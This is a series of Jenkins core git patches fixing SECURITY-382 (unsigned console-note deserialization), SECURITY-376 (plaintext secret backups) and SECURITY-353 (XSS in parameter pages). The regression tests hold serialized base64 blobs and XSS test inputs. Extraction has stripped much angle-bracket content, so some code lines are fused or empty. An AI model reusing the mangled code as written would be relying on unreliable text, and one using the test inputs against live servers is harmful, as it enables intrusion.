changed, 24 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 3e8767ad22..46a02a4f56 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -222,23 +222,30 @@ public abstract class ConsoleNote implements Serializable, Describable 0) { // new format + mac = new byte[macSz]; + decoded.readFully(mac); + sz = decoded.readInt(); + } else { + mac = null; + sz = - macSz; } - byte[] mac = new byte[macSz]; - decoded.readFully(mac); - int sz = decoded.readInt(); byte[] buf = new byte[sz]; decoded.readFully(buf); - if (!MAC.checkMac(buf, mac)) { - throw new IOException("MAC mismatch"); - } byte[] postamble = new byte[POSTAMBLE.length]; in.readFully(postamble); if (!Arrays.equals(postamble,POSTAMBLE)) return null; // not a valid postamble + if (mac == null) { + throw new IOException("Refusing to deserialize unsigned note from an old log."); + } else if (!MAC.checkMac(buf, mac)) { + throw new IOException("MAC mismatch"); + } + ObjectInputStream ois = new ObjectInputStreamEx( new GZIPInputStream(new ByteArrayInputStream(buf)), Jenkins.getInstance().pluginManager.uberClassLoader); try { @@ -263,8 +270,15 @@ public abstract class ConsoleNote implements Serializable, Describable 0) { // new format + IOUtils.skip(decoded, macSz); + int sz = decoded.readInt(); + IOUtils.skip(decoded, sz); + } else { // old format + int sz = -macSz; + IOUtils.skip(decoded, sz); + } byte[] postamble = new byte[POSTAMBLE.length]; in.readFully(postamble); -- GitLab From 2d7e0d96b03ff4aeba4a27bc1dec1355c59fe91c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 10:34:02 -0500 Subject: [PATCH 443/712] Deleting claimed ability in Javadoc which is no longer supportable. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 -- 1 file changed, 2 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 46a02a4f56..1e9b411e98 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -95,8 +95,6 @@ import jenkins.security.HMACConfidentialKey; * {@link ConsoleNote} always sticks to a particular point in the console output. * *

                        - * This design allows descendant processes of Hudson to emit {@link ConsoleNote}s. For example, Ant forked - * by a shell forked by Hudson can put an encoded note in its stdout, and Hudson will correctly understands that. * The preamble and postamble includes a certain ANSI escape sequence designed in such a way to minimize garbage * if this output is observed by a human being directly. * -- GitLab From 0e3f66f583d1b948b13136045391bafa46c2bda3 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 11:24:12 -0500 Subject: [PATCH 444/712] Added test coverage for various ConsoleNote deserialization scenarios. --- .../main/java/hudson/console/ConsoleNote.java | 10 +- .../console/AnnotatedLargeTextTest.java | 116 ++++++++++++++++++ 2 files changed, 121 insertions(+), 5 deletions(-) create mode 100644 core/src/test/java/hudson/console/AnnotatedLargeTextTest.java diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 1e9b411e98..4c3785c95a 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -51,6 +51,7 @@ import java.util.Collection; import java.util.List; import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; +import hudson.remoting.ClassFilter; import jenkins.security.HMACConfidentialKey; /** @@ -244,12 +245,11 @@ public abstract class ConsoleNote implements Serializable, Describable text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("Some text.\nGo back to your home.\nMore text.\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("Some text.\nGo back to your home.\nMore text.\n", w.toString()); + } + + @Issue("SECURITY-382") + @Test + public void oldDeserialization() throws Exception { + ByteBuffer buf = new ByteBuffer(); + buf.write(("hello" + ConsoleNote.PREAMBLE_STR + "AAAAwR+LCAAAAAAAAP9dzLEOwVAUxvHThtiNprYxsGiMQhiwNSIhMR/tSZXr3Lr3oJPwPt7FM5hM3gFh8i3/5Bt+1yeUrYH6ap9Yza1Ys9WKWuMiR05wqWhEgpmyEy306Jxvwb19ccGNoBJjLplmgWq0xgOGCjkNZ2IyTrsRlFayVTs4gVMYqP3pw28/JnznuABF/rYWyIyeJfLQe1vxZiDQ7NnYZLn0UZGRRjA9MiV+0OyFv3+utadQyH8B+aJxVM4AAAA=" + ConsoleNote.POSTAMBLE_STR + "there\n").getBytes()); + AnnotatedLargeText text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("hellothere\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("hellothere\n", w.toString()); + // TODO expect log record with message "Failed to resurrect annotation" and IOException with message "Refusing to deserialize unsigned note from an old log." + } + + @Issue("SECURITY-382") + @Test + public void badMac() throws Exception { + ByteBuffer buf = new ByteBuffer(); + buf.write(("Go back to " + ConsoleNote.PREAMBLE_STR + "////4ByIhqPpAc43AbrEtyDUDc1/UEOXsoY6LeoHSeSlb1d7AAAAlR+LCAAAAAAAAP9b85aBtbiIQS+jNKU4P08vOT+vOD8nVc8xLy+/JLEkNcUnsSg9NSS1oiQktbhEBUT45ZekCpys9xWo8J3KxMDkycCWk5qXXpLhw8BcWpRTwiDkk5VYlqifk5iXrh9cUpSZl25dUcQghWaBM4QGGcYAAYxMDAwVBUAGZwkDq35Rfn4JABmN28qcAAAA" + ConsoleNote.POSTAMBLE_STR + "your home.\n").getBytes()); + AnnotatedLargeText text = new AnnotatedLargeText<>(buf, Charsets.UTF_8, true, null); + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + text.writeLogTo(0, baos); + assertEquals("Go back to your home.\n", baos.toString()); + StringWriter w = new StringWriter(); + text.writeHtmlTo(0, w); + assertEquals("Go back to your home.\n", w.toString()); + // TODO expect log record with message "Failed to resurrect annotation" and IOException with message "MAC mismatch" + } + + /** Simplified version of {@link HyperlinkNote}. */ + static class TestNote extends ConsoleNote { + private final String url; + private final int length; + TestNote(String url, int length) { + this.url = url; + this.length = length; + } + @Override + public ConsoleAnnotator annotate(Void context, MarkupText text, int charPos) { + text.addMarkup(charPos, charPos + length, "", ""); + return null; + } + static String encodeTo(String url, String text) throws IOException { + return new TestNote(url, text.length()).encode() + text; + } + } + +} -- GitLab From 5d981855f1309e0cfa4d74ac8bb21327e98789b0 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 20 Dec 2016 20:18:14 -0500 Subject: [PATCH 445/712] Correctly compute plugin name when multiple sources are passed. --- .../java/hudson/cli/InstallPluginCommand.java | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/core/src/main/java/hudson/cli/InstallPluginCommand.java b/core/src/main/java/hudson/cli/InstallPluginCommand.java index 21484e05bf..c21a96628d 100644 --- a/core/src/main/java/hudson/cli/InstallPluginCommand.java +++ b/core/src/main/java/hudson/cli/InstallPluginCommand.java @@ -75,17 +75,20 @@ public class InstallPluginCommand extends CLICommand { h.checkPermission(PluginManager.UPLOAD_PLUGINS); PluginManager pm = h.getPluginManager(); + if (sources.size() > 1 && name != null) { + throw new IllegalArgumentException("-name is incompatible with multiple sources"); + } + for (String source : sources) { // is this a file? if (channel!=null) { FilePath f = new FilePath(channel, source); if (f.exists()) { stdout.println(Messages.InstallPluginCommand_InstallingPluginFromLocalFile(f)); - if (name==null) - name = f.getBaseName(); - f.copyTo(getTargetFilePath()); + String n = name != null ? name : f.getBaseName(); + f.copyTo(getTargetFilePath(n)); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } } @@ -94,16 +97,21 @@ public class InstallPluginCommand extends CLICommand { try { URL u = new URL(source); stdout.println(Messages.InstallPluginCommand_InstallingPluginFromUrl(u)); - if (name==null) { - name = u.getPath(); - name = name.substring(name.lastIndexOf('/')+1); - name = name.substring(name.lastIndexOf('\\')+1); - int idx = name.lastIndexOf('.'); - if (idx>0) name = name.substring(0,idx); + String n; + if (name != null) { + n = name; + } else { + n = u.getPath(); + n = n.substring(n.lastIndexOf('/') + 1); + n = n.substring(n.lastIndexOf('\\') + 1); + int idx = n.lastIndexOf('.'); + if (idx > 0) { + n = n.substring(0, idx); + } } - getTargetFilePath().copyFrom(u); + getTargetFilePath(n).copyFrom(u); if (dynamicLoad) - pm.dynamicLoad(getTargetFile()); + pm.dynamicLoad(getTargetFile(n)); continue; } catch (MalformedURLException e) { // not an URL @@ -149,11 +157,11 @@ public class InstallPluginCommand extends CLICommand { return 0; // all success } - private FilePath getTargetFilePath() { - return new FilePath(getTargetFile()); + private static FilePath getTargetFilePath(String name) { + return new FilePath(getTargetFile(name)); } - private File getTargetFile() { + private static File getTargetFile(String name) { return new File(Jenkins.getActiveInstance().getPluginManager().rootDir,name+".jpi"); } } -- GitLab From a572450f039fdb99410fcf6eb0ba307bd69ea458 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 16:21:38 -0500 Subject: [PATCH 446/712] [SECURITY-376] Remove backup directory for RekeySecretAdminMonitor. --- .../main/java/hudson/util/SecretRewriter.java | 38 ++++++++----------- .../security/RekeySecretAdminMonitor.java | 5 ++- .../hudson/util/SecretRewriterTest.groovy | 4 +- 3 files changed, 20 insertions(+), 27 deletions(-) diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 37dc9fb2ed..6350adf0f3 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -2,7 +2,6 @@ package hudson.util; import com.trilead.ssh2.crypto.Base64; import hudson.model.TaskListener; -import org.apache.commons.io.FileUtils; import javax.crypto.Cipher; import javax.crypto.SecretKey; @@ -33,21 +32,21 @@ public class SecretRewriter { */ private int count; - /** - * If non-null the original file before rewrite gets in here. - */ - private final File backupDirectory; - /** * Canonical paths of the directories we are recursing to protect * against symlink induced cycles. */ private Set callstack = new HashSet(); - public SecretRewriter(File backupDirectory) throws GeneralSecurityException { + public SecretRewriter() throws GeneralSecurityException { cipher = Secret.getCipher("AES"); key = Secret.getLegacyKey(); - this.backupDirectory = backupDirectory; + } + + /** @deprecated SECURITY-376: {@code backupDirectory} is ignored */ + @Deprecated + public SecretRewriter(File backupDirectory) throws GeneralSecurityException { + this(); } private String tryRewrite(String s) throws IOException, InvalidKeyException { @@ -70,12 +69,14 @@ public class SecretRewriter { return s; } - /** - * @param backup - * if non-null, the original file will be copied here before rewriting. - * if the rewrite doesn't happen, no copying. - */ + /** @deprecated SECURITY-376: {@code backup} is ignored */ + @Deprecated public boolean rewrite(File f, File backup) throws InvalidKeyException, IOException { + return rewrite(f); + } + + public boolean rewrite(File f) throws InvalidKeyException, IOException { + AtomicFileWriter w = new AtomicFileWriter(f, "UTF-8"); try { PrintWriter out = new PrintWriter(new BufferedWriter(w)); @@ -117,10 +118,6 @@ public class SecretRewriter { } if (modified) { - if (backup!=null) { - backup.getParentFile().mkdirs(); - FileUtils.copyFile(f,backup); - } w.commit(); } return modified; @@ -165,11 +162,7 @@ public class SecretRewriter { if ((count++)%100==0) listener.getLogger().println("Scanning "+child); try { - File backup = null; - if (backupDirectory!=null) backup = new File(backupDirectory,relative+'/'+ cn); - if (rewrite(child,backup)) { - if (backup!=null) - listener.getLogger().println("Copied "+child+" to "+backup+" as a backup"); + if (rewrite(child)) { listener.getLogger().println("Rewritten "+child); rewritten++; } @@ -199,7 +192,6 @@ public class SecretRewriter { String n = dir.getName(); return n.equals("workspace") || n.equals("artifacts") || n.equals("plugins") // no mutable data here - || n.equals("jenkins.security.RekeySecretAdminMonitor") // we don't want to rewrite backups || n.equals(".") || n.equals(".."); } diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index bf5d361060..3fe47c80f5 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -1,6 +1,7 @@ package jenkins.security; import hudson.Extension; +import hudson.Util; import hudson.init.InitMilestone; import hudson.init.Initializer; import hudson.model.TaskListener; @@ -50,6 +51,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { */ private final FileBoolean scanOnBoot = state("scanOnBoot"); + @SuppressWarnings("OverridableMethodCallInConstructor") // should have been final public RekeySecretAdminMonitor() throws IOException { // if JENKINS_HOME existed <1.497, we need to offer rewrite // this computation needs to be done and the value be captured, @@ -59,6 +61,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { if (j.isUpgradedFromBefore(new VersionNumber("1.496.*")) && new FileBoolean(new File(j.getRootDir(),"secret.key.not-so-secret")).isOff()) needed.on(); + Util.deleteRecursive(new File(getBaseDir(), "backups")); // SECURITY-376: no longer used } @Override @@ -133,7 +136,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor { protected void fix(TaskListener listener) throws Exception { LOGGER.info("Initiating a re-keying of secrets. See "+getLogFile()); - SecretRewriter rewriter = new SecretRewriter(new File(getBaseDir(),"backups")); + SecretRewriter rewriter = new SecretRewriter(); try { PrintStream log = listener.getLogger(); diff --git a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy index 9285f0bcdd..f198bdd8a3 100644 --- a/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy +++ b/core/src/test/groovy/hudson/util/SecretRewriterTest.groovy @@ -70,8 +70,7 @@ class SecretRewriterTest { */ @Test void recursionDetection() { - def backup = tmp.newFolder("backup") - def sw = new SecretRewriter(backup); + def sw = new SecretRewriter(); def st = StreamTaskListener.fromStdout() def o = encryptOld("Hello world") @@ -101,7 +100,6 @@ class SecretRewriterTest { dirs.each { p-> assert new File(t,"$p/foo.xml").text.trim()==answer - assert new File(backup,"$p/foo.xml").text.trim()==payload } // t2 is only reachable by following a symlink. this should be covered, too -- GitLab From 336751615c5603d8fa2d997d76c923854e2315cf Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:04:10 -0500 Subject: [PATCH 447/712] [SECURITY-353] Reproduced problem in test. --- .../java/hudson/model/ParametersTest.java | 41 +++++++++++++++++++ 1 file changed, 41 insertions(+) diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 9f525a420c..4c837afa97 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -4,9 +4,12 @@ import static org.junit.Assert.*; import com.gargoylesoftware.htmlunit.html.DomNodeUtil; import com.gargoylesoftware.htmlunit.html.HtmlFormUtil; +import static org.hamcrest.Matchers.*; import org.junit.Rule; import org.junit.Test; +import org.junit.rules.ErrorCollector; +import org.apache.http.HttpStatus; import com.gargoylesoftware.htmlunit.html.HtmlPage; import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlElement; @@ -19,6 +22,7 @@ import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; import java.util.Set; +import org.junit.Ignore; /** * @author huybrechts @@ -28,6 +32,9 @@ public class ParametersTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Rule + public ErrorCollector collector = new ErrorCollector(); + @Test public void parameterTypes() throws Exception { FreeStyleProject otherProject = j.createFreeStyleProject(); @@ -216,4 +223,38 @@ public class ParametersTest { final HtmlForm form = page.getFormByName("parameters"); HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } + + @Ignore("TODO fix") + @Issue("SECURITY-353") + @Test + public void xss() throws Exception { + FreeStyleProject p = j.createFreeStyleProject("p"); + p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("", "", ""))); + WebClient wc = j.createWebClient(); + wc.getOptions().setThrowExceptionOnFailingStatusCode(false); + HtmlPage page = wc.getPage(p, "build?delay=0sec"); + collector.checkThat(page.getWebResponse().getStatusCode(), is(HttpStatus.SC_METHOD_NOT_ALLOWED)); // 405 to dissuade scripts from thinking this triggered the build + String text = page.getWebResponse().getContentAsString(); + collector.checkThat(text, containsString("<param name>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param default>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param description>")); + collector.checkThat(text, not(containsString(""))); + HtmlForm form = page.getFormByName("parameters"); + HtmlTextInput value = form.getInputByValue(""); + value.setText(""); + j.submit(form); + j.waitUntilNoActivity(); + FreeStyleBuild b = p.getBuildByNumber(1); + page = j.createWebClient().getPage(b, "parameters/"); + text = page.getWebResponse().getContentAsString(); + collector.checkThat(text, containsString("<param name>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param value>")); + collector.checkThat(text, not(containsString(""))); + collector.checkThat(text, containsString("<param description>")); + collector.checkThat(text, not(containsString(""))); + } + } -- GitLab From c8aa949ff5405e86cc4b65860ff7d04579966480 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:04:20 -0500 Subject: [PATCH 448/712] Noting need for escapes. --- core/src/main/resources/lib/form/entry.jelly | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/core/src/main/resources/lib/form/entry.jelly b/core/src/main/resources/lib/form/entry.jelly index 78e80aaf0c..1642dae3b5 100644 --- a/core/src/main/resources/lib/form/entry.jelly +++ b/core/src/main/resources/lib/form/entry.jelly @@ -32,6 +32,8 @@ THE SOFTWARE. Name of the entry. Think of this like a label for the control. + + This content is HTML. Use h.escape if necessary. Used for the databinding. TBD. When this attribute @@ -46,6 +48,8 @@ THE SOFTWARE. This text shouldn't get too long, and in recent Hudson, this feature is somewhat de-emphasized, in favor of the inline foldable help page specified via @help. + + This content is HTML. Use h.escape if necessary. URL to the HTML page. When this attribute is specified, the entry gets -- GitLab From 2e8837527d82899f719fd9b963667f9e2ecb7035 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:17:59 -0500 Subject: [PATCH 449/712] We also expect descriptions to be formatted, not merely escaped. --- .../java/hudson/model/ParametersTest.java | 71 ++++++++++++------- 1 file changed, 44 insertions(+), 27 deletions(-) diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index 4c837afa97..eb8090d6f6 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -1,29 +1,31 @@ package hudson.model; -import static org.junit.Assert.*; - import com.gargoylesoftware.htmlunit.html.DomNodeUtil; +import com.gargoylesoftware.htmlunit.html.HtmlCheckBoxInput; +import com.gargoylesoftware.htmlunit.html.HtmlElement; +import com.gargoylesoftware.htmlunit.html.HtmlForm; import com.gargoylesoftware.htmlunit.html.HtmlFormUtil; +import com.gargoylesoftware.htmlunit.html.HtmlOption; +import com.gargoylesoftware.htmlunit.html.HtmlPage; +import com.gargoylesoftware.htmlunit.html.HtmlTextInput; +import hudson.markup.MarkupFormatter; +import java.io.IOException; +import java.io.Writer; +import java.util.Set; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import org.apache.http.HttpStatus; import static org.hamcrest.Matchers.*; +import static org.junit.Assert.*; +import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; import org.junit.rules.ErrorCollector; - -import org.apache.http.HttpStatus; -import com.gargoylesoftware.htmlunit.html.HtmlPage; -import com.gargoylesoftware.htmlunit.html.HtmlForm; -import com.gargoylesoftware.htmlunit.html.HtmlElement; -import com.gargoylesoftware.htmlunit.html.HtmlTextInput; -import com.gargoylesoftware.htmlunit.html.HtmlCheckBoxInput; -import com.gargoylesoftware.htmlunit.html.HtmlOption; import org.jvnet.hudson.test.CaptureEnvironmentBuilder; import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.JenkinsRule.WebClient; -import java.util.Set; -import org.junit.Ignore; - /** * @author huybrechts */ @@ -224,23 +226,26 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO fix") + @Ignore("TODO build page should not leave param name unescaped; parameters page should escape param name; parameters page should not leave param name unescaped; parameters page should mark up param description; parameters page should not leave param description unescaped") @Issue("SECURITY-353") @Test public void xss() throws Exception { + j.jenkins.setMarkupFormatter(new MyMarkupFormatter()); FreeStyleProject p = j.createFreeStyleProject("p"); - p.addProperty(new ParametersDefinitionProperty(new StringParameterDefinition("", "", ""))); + StringParameterDefinition param = new StringParameterDefinition("", "", ""); + assertEquals("[param description]", param.getFormattedDescription()); + p.addProperty(new ParametersDefinitionProperty(param)); WebClient wc = j.createWebClient(); wc.getOptions().setThrowExceptionOnFailingStatusCode(false); HtmlPage page = wc.getPage(p, "build?delay=0sec"); collector.checkThat(page.getWebResponse().getStatusCode(), is(HttpStatus.SC_METHOD_NOT_ALLOWED)); // 405 to dissuade scripts from thinking this triggered the build String text = page.getWebResponse().getContentAsString(); - collector.checkThat(text, containsString("<param name>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param default>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param description>")); - collector.checkThat(text, not(containsString(""))); + collector.checkThat("build page should escape param name", text, containsString("<param name>")); + collector.checkThat("build page should not leave param name unescaped", text, not(containsString(""))); + collector.checkThat("build page should escape param default", text, containsString("<param default>")); + collector.checkThat("build page should not leave param default unescaped", text, not(containsString(""))); + collector.checkThat("build page should mark up param description", text, containsString("[param description]")); + collector.checkThat("build page should not leave param description unescaped", text, not(containsString(""))); HtmlForm form = page.getFormByName("parameters"); HtmlTextInput value = form.getInputByValue(""); value.setText(""); @@ -249,12 +254,24 @@ public class ParametersTest { FreeStyleBuild b = p.getBuildByNumber(1); page = j.createWebClient().getPage(b, "parameters/"); text = page.getWebResponse().getContentAsString(); - collector.checkThat(text, containsString("<param name>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param value>")); - collector.checkThat(text, not(containsString(""))); - collector.checkThat(text, containsString("<param description>")); - collector.checkThat(text, not(containsString(""))); + collector.checkThat("parameters page should escape param name", text, containsString("<param name>")); + collector.checkThat("parameters page should not leave param name unescaped", text, not(containsString(""))); + collector.checkThat("parameters page should escape param value", text, containsString("<param value>")); + collector.checkThat("parameters page should not leave param value unescaped", text, not(containsString(""))); + collector.checkThat("parameters page should mark up param description", text, containsString("[param description]")); + collector.checkThat("parameters page should not leave param description unescaped", text, not(containsString(""))); + } + static class MyMarkupFormatter extends MarkupFormatter { + @Override + public void translate(String markup, Writer output) throws IOException { + Matcher m = Pattern.compile("[<>]").matcher(markup); + StringBuffer buf = new StringBuffer(); + while (m.find()) { + m.appendReplacement(buf, m.group().equals("<") ? "[" : "]"); + } + m.appendTail(buf); + output.write(buf.toString()); + } } } -- GitLab From b561ca5696f12d8e017f79cc2080c394c6710719 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 21 Dec 2016 17:49:16 -0500 Subject: [PATCH 450/712] [SECURITY-353] Solved XSS, at the cost of markup formatters. --- .../main/resources/hudson/model/ParametersAction/index.jelly | 1 + .../hudson/model/ParametersDefinitionProperty/index.jelly | 1 + core/src/main/resources/lib/form/entry.jelly | 4 ++-- test/src/test/java/hudson/model/ParametersTest.java | 2 +- 4 files changed, 5 insertions(+), 3 deletions(-) diff --git a/core/src/main/resources/hudson/model/ParametersAction/index.jelly b/core/src/main/resources/hudson/model/ParametersAction/index.jelly index 2c25579adc..d5c4ca771c 100644 --- a/core/src/main/resources/hudson/model/ParametersAction/index.jelly +++ b/core/src/main/resources/hudson/model/ParametersAction/index.jelly @@ -36,6 +36,7 @@ THE SOFTWARE.

                        ${%Build} ${build.displayName}

                        + diff --git a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly index d91f088dcb..a166f87dc8 100644 --- a/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly +++ b/core/src/main/resources/hudson/model/ParametersDefinitionProperty/index.jelly @@ -45,6 +45,7 @@ THE SOFTWARE. + diff --git a/core/src/main/resources/lib/form/entry.jelly b/core/src/main/resources/lib/form/entry.jelly index 1642dae3b5..b8d8a38e3b 100644 --- a/core/src/main/resources/lib/form/entry.jelly +++ b/core/src/main/resources/lib/form/entry.jelly @@ -71,7 +71,7 @@ THE SOFTWARE. - + @@ -82,7 +82,7 @@ THE SOFTWARE. - + diff --git a/test/src/test/java/hudson/model/ParametersTest.java b/test/src/test/java/hudson/model/ParametersTest.java index eb8090d6f6..46a89eeb26 100644 --- a/test/src/test/java/hudson/model/ParametersTest.java +++ b/test/src/test/java/hudson/model/ParametersTest.java @@ -226,7 +226,7 @@ public class ParametersTest { HtmlFormUtil.submit(form, HtmlFormUtil.getButtonByCaption(form, "Build")); } - @Ignore("TODO build page should not leave param name unescaped; parameters page should escape param name; parameters page should not leave param name unescaped; parameters page should mark up param description; parameters page should not leave param description unescaped") + @Ignore("TODO build page should mark up param description; parameters page should mark up param description") @Issue("SECURITY-353") @Test public void xss() throws Exception { -- GitLab From 2c1c1ecef964c143e5213c87ed8c1bdf282156c6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 17 Oct 2016 16:27:49 -0400 Subject: [PATCH 451/712] Placate the JDK 9 compiler. (cherry picked from commit 441bf1c2553d76425f9834906e63415eea6f391f) --- core/src/main/java/hudson/model/Job.java | 4 ++-- core/src/main/java/hudson/model/ParametersAction.java | 6 +++--- core/src/main/java/hudson/tools/ToolDescriptor.java | 2 +- core/src/main/java/hudson/util/CopyOnWriteList.java | 2 +- core/src/main/java/hudson/util/Iterators.java | 9 ++++++--- .../main/java/jenkins/model/InterruptedBuildAction.java | 2 +- 6 files changed, 14 insertions(+), 11 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 85d440f25a..339046161b 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -680,7 +680,7 @@ public abstract class Job, RunT extends Run getBuilds() { - return RunList.fromRuns(_getRuns().values()); + return RunList.fromRuns(_getRuns().values()); } /** @@ -712,7 +712,7 @@ public abstract class Job, RunT extends Run getBuildsAsMap() { - return Collections.unmodifiableSortedMap(_getRuns()); + return Collections.unmodifiableSortedMap(_getRuns()); } /** diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index c8ed6c7c3c..d766f6a7c5 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -49,7 +49,7 @@ import java.util.Set; import java.util.logging.Level; import java.util.logging.Logger; -import static com.google.common.collect.Lists.newArrayList; +import com.google.common.collect.Lists; import static com.google.common.collect.Sets.newHashSet; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -144,7 +144,7 @@ public class ParametersAction implements RunAction2, Iterable, Q @Exported(visibility=2) public List getParameters() { - return Collections.unmodifiableList(filter(parameters)); + return Collections.unmodifiableList(filter(parameters)); } public ParameterValue getParameter(String name) { @@ -204,7 +204,7 @@ public class ParametersAction implements RunAction2, Iterable, Q if(overrides == null) { return new ParametersAction(parameters); } - List combinedParameters = newArrayList(overrides); + List combinedParameters = Lists.newArrayList(overrides); Set names = newHashSet(); for(ParameterValue v : overrides) { diff --git a/core/src/main/java/hudson/tools/ToolDescriptor.java b/core/src/main/java/hudson/tools/ToolDescriptor.java index 567c298a0d..d07639425f 100644 --- a/core/src/main/java/hudson/tools/ToolDescriptor.java +++ b/core/src/main/java/hudson/tools/ToolDescriptor.java @@ -86,7 +86,7 @@ public abstract class ToolDescriptor extends Descrip * Lists up {@link ToolPropertyDescriptor}s that are applicable to this {@link ToolInstallation}. */ public List getPropertyDescriptors() { - return PropertyDescriptor.for_(ToolProperty.all(),clazz); + return PropertyDescriptor.for_(ToolProperty.all(), clazz); } /** diff --git a/core/src/main/java/hudson/util/CopyOnWriteList.java b/core/src/main/java/hudson/util/CopyOnWriteList.java index 43e189ba19..4e6af51dc6 100644 --- a/core/src/main/java/hudson/util/CopyOnWriteList.java +++ b/core/src/main/java/hudson/util/CopyOnWriteList.java @@ -143,7 +143,7 @@ public class CopyOnWriteList implements Iterable { } public List getView() { - return Collections.unmodifiableList(core); + return Collections.unmodifiableList(core); } public void addAllTo(Collection dst) { diff --git a/core/src/main/java/hudson/util/Iterators.java b/core/src/main/java/hudson/util/Iterators.java index 2b5d88f74b..74d82950dc 100644 --- a/core/src/main/java/hudson/util/Iterators.java +++ b/core/src/main/java/hudson/util/Iterators.java @@ -24,6 +24,7 @@ package hudson.util; import com.google.common.base.Predicates; +import com.google.common.collect.ImmutableList; import java.util.Collections; import java.util.Iterator; @@ -314,12 +315,13 @@ public class Iterators { *

